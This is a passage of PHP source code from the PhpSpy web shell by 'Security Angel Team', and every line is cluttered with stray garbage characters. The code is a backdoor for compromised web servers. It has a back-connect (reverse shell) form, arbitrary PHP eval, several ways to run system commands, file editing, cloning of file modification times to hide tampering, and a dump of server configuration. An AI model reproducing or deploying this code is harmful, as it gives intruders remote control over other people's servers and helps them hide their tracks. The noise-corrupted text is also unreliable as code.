7 z, `4 P) V8 W g" q - formhead(array('title'=>'Back Connect'));* ~/ B7 r; T; A* v
- makehide('action','backconnect');2 d1 _* S/ h, J$ R) z; Z
- p('<p>');
. F8 ~" Z) D% _/ z) A9 U7 r6 X+ D - p('Your IP:');9 \3 s$ l; h9 x% [: |
- makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));" p+ P% |' Q% C C U
- p('Your Port:'); f8 w9 G- I3 C9 \9 J
- makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));* i# {8 X6 A% @# i6 Z( F
- p('Use:');
) K% Z" e; _, D5 X - makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
9 {$ B8 R; d+ A/ Z3 F- W, b5 {# I9 L v - makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));7 G$ H& z/ l3 l @' y/ {
- p('</p>');# ?) G/ G1 N. N- ?
- formfoot(); o9 J p- l* R& }
- }//end sql backup
. ~) j7 z9 K- i - elseif ($action == 'eval') {
: h9 r/ \' h+ [0 } - $phpcode = trim($phpcode);6 U7 T# c1 t6 B- h. b
- if($phpcode){# @5 Z8 v/ N( }8 c* [
- if (!preg_match('#<\?#si', $phpcode)) {
1 e1 a. W! c( W3 U2 W - $phpcode = "<?php\n\n{$phpcode}\n\n?>";) }1 t- Y1 t6 @
- }/ ]4 N1 A6 ~2 E* ]
- eval("?".">$phpcode<?");9 D8 v. S. y0 N
- }3 N; u. n9 l* ^- e; G
- formhead(array('title'=>'Eval PHP Code'));9 U& V( N8 ^6 Q2 F& E6 ^
- makehide('action','eval');
1 ^8 A; [: U+ I9 d, _7 ~ - maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
2 u3 ?7 A* i+ {) X9 c& [ - p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');0 T4 \* C) P; E5 v* T
- formfooter();
% Y) w4 `0 P5 A - }//end eval8 ~. N# D2 j* Q& E3 k" x/ n
-
9 g& P b) e& V! { - elseif ($action == 'editfile') {7 g6 |+ \- [6 v3 f
- if(file_exists($opfile)) {
+ F/ k! \( W. ~ - $fp=@fopen($opfile,'r');; P4 S% U+ i8 f# ]; [) z: J5 K
- $contents=@fread($fp, filesize($opfile));
3 _4 P) B, `+ Y9 T* v& s - @fclose($fp);
4 O1 A* [* \5 O2 u; {; \3 D! O+ i# N - $contents=htmlspecialchars($contents);% ~2 Y+ Z0 n( `! F( L: R7 K9 Q
- }; w0 o& M* \2 |4 @- I" X% {. N
- formhead(array('title'=>'Create / Edit File'));
* Q* ]$ T" L7 p- o - makehide('action','file');9 P4 P, E7 k4 V* \
- makehide('dir',$nowpath);
6 v% T1 R( t+ I6 ~3 a! t0 B; @ - makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));& H0 Z( H& Q k" D. x: ]/ }- z* X
- maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
0 y, _, \* [) j9 x - formfooter();7 ?4 g" ^) `( u# N3 L8 N" ]
- }//end editfile
2 h; p1 h+ H ?5 z6 U - 9 {9 N3 x, Z! ]( y3 j3 d( k& ^
- elseif ($action == 'newtime') {
. @5 f1 b7 s- r7 [$ Z+ G6 y - $opfilemtime = @filemtime($opfile);- G: W1 ~1 J- i% i3 c0 u( N
- //$time = strtotime("$year-$month-$day $hour:$minute:$second");6 s; C/ b R' W, }4 j
- $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);+ n, N5 h" c( B d( F9 Z- Q
- formhead(array('title'=>'Clone file was last modified time'));
1 l' s: m+ x* F f' I# g& w! Z! S2 I - makehide('action','file');4 ?: ^; P" m+ a/ s) g% }
- makehide('dir',$nowpath);4 @% L) u E* {4 c' |7 ]
- makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
5 y9 B% o# W4 F - makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
# T! A8 k+ n& b8 {* W3 N - formfooter();+ x' A# O' G& e/ ~! m
- formhead(array('title'=>'Set last modified'));/ }# ^0 }8 A T1 D" ^' t
- makehide('action','file');
, z2 K U" w) Z - makehide('dir',$nowpath);
% V8 p' _+ W3 x1 G, y - makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
9 ~, C) N5 _1 i+ R! b - p('<p>Instead »');2 \. C- V0 y- L y
- p('year:');
8 n& J6 @+ Z1 l- \7 N - makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
1 P2 n% ]4 K0 J, O - p('month:');
& C7 y2 Z; V% x8 [# O - makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));, w: ~; e# a$ {+ ~
- p('day:');
9 c. G1 A: Z& n+ |% W2 T* C0 }; t - makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
* W# H& I4 n; `7 n) Q - p('hour:');
: q/ }2 W, _& x& v8 Q. }& B" N6 P - makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
& C9 [8 ]# D. |& g8 ~9 Q - p('minute:');
& F& f1 O" U' c, E$ _ - makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
% n+ d8 C7 D+ M, C' R7 y( ~5 s - p('second:');' l+ R3 j0 S, I9 p# n
- makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));+ m" k# n2 I# y6 z% w# k
- p('</p>');
( |4 {0 B7 V5 s, e% s - formfooter();' N4 p) J* j1 F% U
- }//end newtime
) ~& R. o) G4 Q4 q - , P8 t: ?) W/ a) J
- elseif ($action == 'shell') {: u1 Q } z7 c- _
- if (IS_WIN && IS_COM) { d% U. b7 b7 S" u0 x: T
- if($program && $parameter) {* Z' m' K* I0 J# @5 B t; N: d
- $shell= new COM('Shell.Application');3 j0 A/ f9 C& ~( l6 R; L; j8 a
- $a = $shell->ShellExecute($program,$parameter);
# e o |% j% b W! e7 _: K - m('Program run has '.(!$a ? 'success' : 'fail'));4 k7 y$ }0 c; V
- }
7 Q( w- W3 s$ d: C* i0 U, X6 K0 ~+ @ - !$program && $program = 'c:\windows\system32\cmd.exe';
5 x' X) Y( O" Q9 c4 ]; P - !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
/ U$ k) C4 J* y8 f3 \ - formhead(array('title'=>'Execute Program'));7 E& i) _2 ^6 K
- makehide('action','shell');7 p2 M( E5 ^& v% O# o! Y2 E7 {; w: x
- makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));4 ~& {# k+ V0 O
- p('<p>');
8 @7 t- r% T) e9 M% A) d: k - makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
* `, I5 D5 V0 J, `1 f - makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
% r2 s2 t2 O' z - p('</p>');
' j7 p/ [ p% t, \4 H. O9 Y* Q - formfoot();: A _; z. E' r }) q1 @$ E
- }. [" }- L w+ V$ U
- formhead(array('title'=>'Execute Command'));
, `2 ` }. {9 m3 Q+ B$ I - makehide('action','shell');
1 c0 d `. A; o8 Y# o, Z( T - if (IS_WIN && IS_COM) {
% `" f7 x8 V7 U. |( m1 ~% I1 L - $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');! c. w/ k+ B' d1 H( i. h
- makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
# Z* o# @/ [& g1 Y# Y: y - }+ w2 K- F9 q* e8 Q6 c( Y
- p('<p>');
3 u$ V: E Z- }3 K5 ?/ N o - makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
: L+ a1 \) `5 { - makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));: x$ V; r- w# C2 l5 o, s! |; w
- p('</p>');3 y- K8 ?9 h, H6 o9 _
- formfoot();
& n2 R7 ~' m) A6 A - % N% z2 u8 V+ f8 i6 b
- if ($command) {
4 a$ {2 D, g! ^, m. N7 q - p('<hr width="100%" noshade /><pre>');
* j# {; {3 p2 e3 C" J - if ($execfunc=='wscript' && IS_WIN && IS_COM) {
4 f+ t1 E: o4 ^8 K$ _$ E2 U - $wsh = new COM('WScript.shell');
" c+ r' B$ t; ~8 ?& P - $exec = $wsh->exec('cmd.exe /c '.$command);+ t( b8 B4 E0 A# A# a; @$ c
- $stdout = $exec->StdOut();
0 v+ s* v. |3 Q# ^7 m% L$ J# [/ e; p - $stroutput = $stdout->ReadAll();5 s# v( p* Q5 h. a/ W
- echo $stroutput;4 j/ z: M. b3 ]! ]
- } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {3 C# v9 K5 E6 y% f3 C* {+ }' E
- $descriptorspec = array(
+ }9 f6 Q3 l/ T; f, `; M/ ]: \ - 0 => array('pipe', 'r'),
8 F' [: {& M8 W - 1 => array('pipe', 'w'),) B; V; s9 F) p8 d7 `+ J* P
- 2 => array('pipe', 'w')
2 t% p" l- A4 Y1 w$ C - );' v! W5 m' m9 j" Z! d! q/ z
- $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
7 f, Z( G3 u- ]- [* C - if (is_resource($process)) {
( Y2 ?* R: k6 C- X$ h4 M, U - fwrite($pipes[0], $command."\r\n");
3 V5 K" D1 a8 L0 a - fwrite($pipes[0], "exit\r\n");
5 f. r1 e$ `( s) r; I2 k! R2 d - fclose($pipes[0]);) F, Z( n2 ?5 U. @* G
- while (!feof($pipes[1])) {2 j K: g, D3 }* Z1 _% x
- echo fgets($pipes[1], 1024);
* @8 S# a; u# _$ ^ - }7 t6 J6 J7 b$ D6 A9 ` j7 T7 `
- fclose($pipes[1]);
, R3 I; v: |0 j& T - while (!feof($pipes[2])) {
8 Y" i- x1 ?, j0 i: D2 [ - echo fgets($pipes[2], 1024);
7 K+ l7 c1 [# ` - }
3 n) n2 [2 _6 R- b- S - fclose($pipes[2]);
6 e! C8 r `5 }; _3 C - proc_close($process);, V% X) I, |! Q4 T
- }3 t- u; G; N4 @" Y J9 x: O
- } else {
0 d/ @& T4 j; ~ - echo(execute($command));
" ~# Q: G% f }' m& j# j - }6 o0 ~$ n3 |+ \" ~2 z0 r
- p('</pre>');
% L7 x/ u' B. Y$ F, W - }
; \' H3 ?5 T' z" z+ Z0 v7 q - }//end shell! f; }9 ^3 E* g' Y: y
- 3 I4 X9 { w$ |- ]
- elseif ($action == 'phpenv') {0 q' z b: ?2 @5 y) b' E
- $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';/ \' k, \7 d& c9 ~4 v) Q
- $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
+ ?/ I7 O2 ~1 @+ H8 Q/ `2 d& j1 H7 f - !$dis_func && $dis_func = 'No'; 7 m, L2 S% w# {
- $info = array(
' c* g! @- ^3 a E& C/ ^0 u [ - 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
0 l* K8 [6 S1 f& c" F) m - 2 => array('Server Domain',$_SERVER['SERVER_NAME']),, C0 F! o( j4 H' G) J
- 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),3 P8 q1 R4 ]5 X; U Y& m
- 4 => array('Server OS',PHP_OS),
) O# a3 R) |/ ?+ y - 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
; p9 o- f4 v3 v$ x; M - 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
& U8 s; N! L! N& N7 S9 p - 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),0 ?# W3 y6 V3 i
- 8 => array('PHP run mode',strtoupper(php_sapi_name())),* s- y1 V! `- ~+ e& Z: B' }% L+ D
- 9 => array('The file path',__FILE__),7 {: @: c) f) R/ e
- : a: i8 Z* D8 V. q
- 10 => array('PHP Version',PHP_VERSION),/ o2 O7 r9 W+ u3 t/ g3 S4 q( e6 `
- 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),6 b! }; C# ^0 J) e+ t! u- R
- 12 => array('Safe Mode',getcfg('safe_mode')),1 w" k3 ^" h& E
- 13 => array('Administrator',$adminmail),' x8 g& Y. @; v* W$ Q
- 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),1 L1 Y* ]6 R8 T
- 15 => array('enable_dl',getcfg('enable_dl')),! O/ e; @# z6 ]3 |! C6 V
- 16 => array('display_errors',getcfg('display_errors')),* l6 b% O1 t3 F6 u3 e9 ]# T5 `
- 17 => array('register_globals',getcfg('register_globals')),, y$ f* @$ u6 N8 [4 ~
- 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),$ {# ~. j( t+ ^. e p$ a
- 19 => array('memory_limit',getcfg('memory_limit')),3 }4 h n, Z7 i2 Y3 C
- 20 => array('post_max_size',getcfg('post_max_size')),: d, r+ s: B0 W7 {5 _8 C
- 21 => array('upload_max_filesize',$upsize),
& y* \9 j8 F* ]5 j7 R9 J - 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),1 w: O2 r. {" A0 A/ s
- 23 => array('disable_functions',$dis_func),
* T$ }% w) J4 w3 B7 l - );
6 ]% K' l* w* U, t' I( X -
7 l) h6 u& A& c3 [( A - if($phpvarname) { A7 R3 d& i; \% i6 j0 i
- m($phpvarname .' : '.getcfg($phpvarname));
- \" Q/ l0 D" G/ `) n8 q; n - }; Z* R2 t- @1 M; A
- 3 s$ M8 J2 k6 S
- formhead(array('title'=>'Server environment'));
" p) _9 {6 R. z3 j* h1 Q - makehide('action','phpenv');
* M& T/ W1 J2 _( g4 N - makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));) }1 D. Y2 Y Y r& j
- formfooter();
; {9 y. H, y; e' G1 @3 t; N - $ v' D5 `9 [; k5 j& t; U" d
- $hp = array(0=> 'Server', 1=> 'PHP');- e# { X6 u! A
- for($a=0;$a<2;$a++) {
/ m/ V1 D: C0 Y# q5 m - p('<h2>'.$hp[$a].' »</h2>');3 n0 _5 p3 D ~0 {/ y5 `* d
- p('<ul class="info">');7 |: \1 A. u. g! h, [* j x
- if ($a==0) {" K) s3 B |- G" }8 |3 t3 p. J, s+ s
- for($i=1;$i<=9;$i++) {# C' G, B8 c, _3 S1 P5 w" ^
- p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
! _" D$ }' K. ]: F - }2 q8 j3 x' I, Z6 C; m c% C6 n
- } elseif ($a == 1) {; C+ C8 ^: R' f) R4 w
- for($i=10;$i<=23;$i++) {7 I& N/ y# ~! |' G0 x2 \
- p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
2 G r7 r- `! j/ k& C - }
+ ^9 m5 G* u9 U/ I! I - }; t4 h! \1 t0 c# E: K) U9 I
- p('</ul>');
- b( L' x2 s e6 _ - }
- a z) j( H H4 j - }//end phpenv
1 G" F8 {1 i8 V9 A$ X - 7 I7 M: J& p1 h) N7 O
- else {
) E" K9 }- K' v/ k8 t3 i0 _8 N$ V - m('Undefined Action');) D% _5 N, C/ v1 k
- }
2 l5 D7 E% D1 |6 Z- Y -
8 e0 a( D1 j( U l9 O3 n( N. Q - ?>2 x! @4 q% ` e; I- l1 b
- </td></tr></table>5 i$ G! ?! F, O. Q Q$ _) ]! P
- <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">9 [3 {# z. a% S) C; \; [+ _
- <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>) U/ _9 J# s% ~" K- [; Q& d
- Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
0 ] }8 b+ D6 K' [2 i - </div>
9 t* K3 H1 q S" f% T% x2 ` - </body>
) `0 L# U2 p9 v1 a* ~ - </html>' Y+ L+ M1 m9 O5 @
- ! h3 i, ?. [( s- M# S
- <?php9 y+ |9 a5 K' s# _- j
- % q' r* x9 h; a
- /*======================================================
2 M/ {* @9 P( [3 e - 函数库/ g7 [# m0 r9 {+ V" U$ {
- ======================================================*/: S" l, Z1 e2 M! w
- ) z9 H" X, q% t8 c
- function m($msg) {
: p9 x: m. i6 L }! ^1 ` - echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';$ r. @! a, B2 z& H/ D
- echo $msg;
, C& z( X' r! h$ r0 L3 ]8 r - echo '</div>';
- _ V ]7 R' C! u, ~/ |3 r - }8 |: A% ^+ w4 H, k, \! ?
- function scookie($key, $value, $life = 0, $prefix = 1) {
5 f# ], d3 O; n - global $admin, $timestamp, $_SERVER;' C0 r5 I3 U0 \7 P6 @. I9 v
- $key = ($prefix ? $admin['cookiepre'] : '').$key;
; w/ M- X9 M. R4 Q6 A - $life = $life ? $life : $admin['cookielife'];; S! u5 t) K6 ~" p
- $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;9 B& g; \4 C& A/ L X6 r# v# p
- setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
5 Q' l+ F/ f0 O9 N. i - } : b: A5 M \' s/ `2 A3 E. W S2 i
- function multi($num, $perpage, $curpage, $tablename) {4 P+ n, b2 B% |3 n* h0 y( a X
- $multipage = '';
% Q' U6 V' L$ u7 s - if($num > $perpage) {- q L' W) v8 m4 s6 b, s
- $page = 10;. b* s9 Z. Q) l! L( K
- $offset = 5;2 \% s8 E: i" P7 K* R9 ]& f
- $pages = @ceil($num / $perpage);! u# H. H: A/ a6 \
- if($page > $pages) {& ^2 I. y' r; {4 i7 C
- $from = 1;
# x E2 b+ D) G' O$ b1 x - $to = $pages;
f9 J5 W: p; | S# A: { b# z - } else {2 V+ l9 F) J% J- z
- $from = $curpage - $offset;0 _' q- j& s3 c
- $to = $curpage + $page - $offset - 1;: R4 o* d9 l: Q
- if($from < 1) {6 {) K0 e1 ?0 X5 h
- $to = $curpage + 1 - $from;- A: f6 d9 e$ e- t. `4 s
- $from = 1;
5 A3 a& O' X0 o, G4 m9 }/ B - if(($to - $from) < $page && ($to - $from) < $pages) {/ T% Z7 n8 \, k7 U" j
- $to = $page;! p5 D @. h, F8 y+ f% J5 X! e* @
- }6 p j# L" H" q. s
- } elseif($to > $pages) {
. {% Q K. }1 |& s) J9 {/ x - $from = $curpage - $pages + $to;" b' B2 o7 a5 {# G( {
- $to = $pages;
- n- }5 u- v+ P3 b6 g - if(($to - $from) < $page && ($to - $from) < $pages) {4 Q8 f' w& M% p/ w5 Q, S$ B: i
- $from = $pages - $page + 1;
5 y9 C: |7 V* x( n - }8 W. P& H: q9 x* d9 X9 A: J; x
- }8 P# J/ p0 o7 [' `' [0 z$ `
- }
3 z% s: b" b, z! Q' A$ r* P v* d - $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');6 g% v/ U7 f5 W' D& N
- for($i = $from; $i <= $to; $i++) {2 |6 P: O2 n: ^0 l9 d
- $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
9 T' G7 b+ k' D5 D) [ - }
6 P9 W# R2 K2 A/ B5 a - $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
$ j3 S" o5 n+ {2 h* d* P/ R - $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
. p. {# ?, T8 q: `4 s3 u - }
3 \3 M1 n( ]" H s( B! L* d- ` - return $multipage;( a5 a/ q- q* T j% p5 n6 }5 q
- }$ d0 R% ]1 z+ h) i c- S; Z
- // 登陆入口
. x: u% E! `# F# l& F - function loginpage() {. v8 U: J! `+ {2 {" o
- ?>
4 B$ q$ A' F/ }1 j7 f7 ` - <style type="text/css">
" B7 h a& U% u - input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}% }3 l2 `4 |7 |
- </style># K( D: y, M+ H
- <form method="POST" action="">7 `: L+ q: J, y; V! F, M) r+ e, ?
- <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">: m$ d4 ?1 O1 \% {
- <input type="hidden" name="doing" value="login">
4 U$ Q# s: t: v9 }0 N* } - <input type="submit" value="Login">
! Q: O1 P k( K* o: d8 o5 X - </form>
( C5 D% ~9 b/ e- A" c( Z2 ?$ `: L - <?php! y, Z# Y6 [. \3 ~3 H* W
- exit;3 B+ R" {5 f1 g8 E
- }//end loginpage()4 m, B8 Q* L) f7 s5 B) N S
- " t: I8 R* ~! i/ j1 e, W
- function execute($cfe) {
) L [) K5 C" q+ v - $res = '';
% `, v0 Z( l8 x - if ($cfe) {, i4 \& y' H( `1 J- s- B" W
- if(function_exists('exec')) {
4 M* @3 t8 M, Z; M5 X. z - @exec($cfe,$res);
7 W+ [: b& S& k. Y! | - $res = join("\n",$res);9 @9 U5 J$ E; B( d* Z
- } elseif(function_exists('shell_exec')) {
; C) c# q& A _4 L# _& ]4 I - $res = @shell_exec($cfe);" L9 ^7 m" K% S: \( S
- } elseif(function_exists('system')) {
. ~$ E- S1 L7 H O - @ob_start();
7 B8 |9 n" D9 v% m5 l0 J - @system($cfe);
& T% O2 t; k6 r7 I$ a& j9 c( h/ v - $res = @ob_get_contents();
/ Y* S3 h' L c0 a7 C& b - @ob_end_clean();
5 T' E# u% g: O- G# `1 j* g - } elseif(function_exists('passthru')) {
8 ~+ {! L+ Z3 J" V4 h2 ]. H - @ob_start();$ h6 C, e4 ^: N; A
- @passthru($cfe);" y' l' j& C1 L5 e4 H. C% h
- $res = @ob_get_contents();- |/ `/ T! |0 ]1 P: g' I' f+ k/ F
- @ob_end_clean();
$ x, D Y o5 \! e4 h2 N: p - } elseif(@is_resource($f = @popen($cfe,"r"))) {; d V4 ^% V6 B8 a7 D7 {
- $res = '';) u d( ~1 B1 @, N7 e2 W/ [
- while(!@feof($f)) {
* U8 x+ q1 Y5 f; U0 W" S/ u$ u; @ - $res .= @fread($f,1024);
) P8 L4 R( m6 h0 p* x - }6 N O) H2 o# Y9 v
- @pclose($f);
% v6 c: q$ f' V5 K/ a - }7 ?! N- U6 M$ g ^: d; t: h& \
- }
! _( p5 S \6 x* R, ~ - return $res;' s$ Q+ U+ {+ A7 l4 N
- }* {# n+ t6 _- F" F$ q- U: G
- function which($pr) {: Z& g q. R; W$ S# y3 R
- $path = execute("which $pr");9 }2 @* F6 s- s' t9 T& L, d% w
- return ($path ? $path : $pr);
( K+ F2 L# ]. z4 x' v& d+ ~ - }
% j. p; V( U1 H6 Y -
& c Q* Z* G. S& A - function cf($fname,$text){, l% V d: O2 `0 i/ t0 i
- if($fp=@fopen($fname,'w')) {0 j; b0 O# P# K- _9 n: b, B# g
- @fputs($fp,@base64_decode($text));' R! t; i; M% g8 f' u
- @fclose($fp);2 h" Z% Z1 N; W/ P, X
- }
' G T- w: I( \) W, X - }
& M1 V7 j P9 V: m" R# V* V* W - 6 m: X# ?+ y1 n* Y( _: e
- // 页面调试信息" T" s7 l: M! K l; F/ {+ Z
- function debuginfo() {
2 p1 O3 ?2 n5 E- v6 j8 `% S - global $starttime;: A& q& m/ ^) n
- $mtime = explode(' ', microtime());% w/ ~" ]0 J e: o# u, }
- $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
1 R. X/ I w' f3 a7 t n - echo 'Processed in '.$totaltime.' second(s)';/ N/ J1 E. b8 q: N* Y2 K3 Q
- }
8 p* }8 n# {# _! {; Q - 9 s% ?& v) K# h- M# i
- //连接数据库( }% _6 I) @8 J" `
- function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {6 F/ c1 p# n# h
- if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
; m) ?/ z) }# h8 ^ - p('<h2>Can not connect to MySQL server</h2>');" z: n5 @3 s* O* X) q7 }9 P+ C4 K* m
- exit;! y1 [4 M% p$ |0 ?# B
- }' E' U1 [! ^4 r ^/ K* Q
- if($link && $dbname) {6 s; S$ S0 s' v Y7 z" z
- if (!@mysql_select_db($dbname, $link)) {
: J& S% x; n# X1 U - p('<h2>Database selected has error</h2>');
2 d& S1 b, s% k6 Y$ N6 ]$ t - exit;
% T1 y: _0 M7 r6 [$ Q3 A- ~ - }! N5 C" D& c# g& u" U
- }% i" e* P; P' ~. \3 E9 W
- if($link && mysql_get_server_info() > '4.1') {
% s2 ^7 _0 v, O - if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
- ~5 N( G6 I [, k3 G' `+ d; l - q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);# t0 M0 F1 O" U8 ]1 u
- }
+ q, }. y# t6 `9 Z5 o& M ~% {; d5 m - }
9 d! m, H5 x2 Q3 W" ]' X; I - return $link;
; N$ R5 k- r$ F) V; x - }
1 @7 C8 A6 ^; E3 s4 G+ h/ P- Y9 z -
. s% ^/ l) n+ f+ X* k0 u0 j6 B( n - // 去掉转义字符
9 Z$ Q% b2 ]1 L7 k E' p# Y - function s_array(&$array) {" s( y' y8 s2 Z/ V/ \5 F" ]
- if (is_array($array)) {3 ^- l% ^# a9 Y4 Y& H9 U
- foreach ($array as $k => $v) {+ s Q$ A: u8 S& Z( s% ]) l
- $array[$k] = s_array($v);* d1 a9 U( D$ A7 C- I h+ W
- }' [1 J; P& V% W6 q. W: T
- } else if (is_string($array)) {" `7 G7 A) I6 Q
- $array = stripslashes($array);
( q3 m+ o- k8 ^4 e% @# b c - }! T7 x$ {* `9 o: H* Q7 P
- return $array;; @; V, w" n+ b; c2 ]% w" f1 u
- }
' P; @/ q9 L( G1 Z. _: } -
% `( I5 {, }6 ~8 O8 G( X& L - // 清除HTML代码( m( M; o j; w9 X$ E
- function html_clean($content) {2 s8 C# I N8 q: [8 {5 M8 }. i! o
- $content = htmlspecialchars($content);4 P7 {& W k$ j' X
- $content = str_replace("\n", "<br />", $content);
: `" D. P! }# ]) g6 M" y - $content = str_replace(" ", " ", $content);- D& w, u& I0 ^$ s" L2 w. K! b
- $content = str_replace("\t", " ", $content);6 G6 h# M W8 G! @
- return $content;7 Z) d6 k& E2 K6 J
- }
: d' f9 C- [# O" B) u -
1 ?7 l7 C5 S$ n' H1 R$ } - // 获取权限! p# p: t2 X6 Z; G/ u# `
- function getChmod($filepath){4 D( \3 v7 P0 Q( o z2 i" x
- return substr(base_convert(@fileperms($filepath),10,8),-4);& u( q0 w X- L$ h
- }
' t6 I5 i( h0 I! c - 1 i1 Q) n( [3 i& m- a: c9 |$ i# R
- function getPerms($filepath) {
1 I" j6 @! ~9 i& o" K! C. c$ G - $mode = @fileperms($filepath);1 |( v" O" a% D% F5 i% m' b
- if (($mode & 0xC000) === 0xC000) {$type = 's';}$ `& n* c$ H2 N% D7 z) i8 w7 A
- elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}0 k$ M1 ^+ Q, Z0 k5 v$ T1 q
- elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
4 H6 `* h: M' [3 Z: [7 d - elseif (($mode & 0x8000) === 0x8000) {$type = '-';} $ I$ q3 J% U1 U7 b
- elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}$ b! @8 e( ~2 B* |7 l
- elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
9 a( m% d$ `/ k2 C% \1 ^ - elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
6 k: \* `: n3 y; s; z - else {$type = '?';}
0 T* F$ F1 i+ F0 a$ m3 z - - |# A" b( o# Z6 ?
- $owner['read'] = ($mode & 00400) ? 'r' : '-'; $ Z6 R3 w1 Q. f6 c) n: G
- $owner['write'] = ($mode & 00200) ? 'w' : '-';
4 C* }5 ?& t! [ - $owner['execute'] = ($mode & 00100) ? 'x' : '-';
9 Z5 o9 ?& N( h0 S* i$ j- f+ c0 b4 r4 S - $group['read'] = ($mode & 00040) ? 'r' : '-';
, F, m& h) F: T3 o" A% j3 N - $group['write'] = ($mode & 00020) ? 'w' : '-'; * A0 P. G$ E2 y# ?- H
- $group['execute'] = ($mode & 00010) ? 'x' : '-'; C" K0 S" f) b+ ], k
- $world['read'] = ($mode & 00004) ? 'r' : '-'; & r$ T2 i$ {% n* k3 h$ Z
- $world['write'] = ($mode & 00002) ? 'w' : '-';
3 i- l- S9 P2 ~: e8 w; C - $world['execute'] = ($mode & 00001) ? 'x' : '-'; 5 [7 S& ]6 t$ |% G' r( X# X
- 9 R, E2 x. X% b9 S% g6 n
- if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}) `' D/ F; _0 B0 e( O3 E8 J6 D
- if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
0 h b# U: a+ Y - if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}1 i! [- w, ?: D: X
- 8 O e- V, ?7 m+ l- h$ Y8 i0 e, }
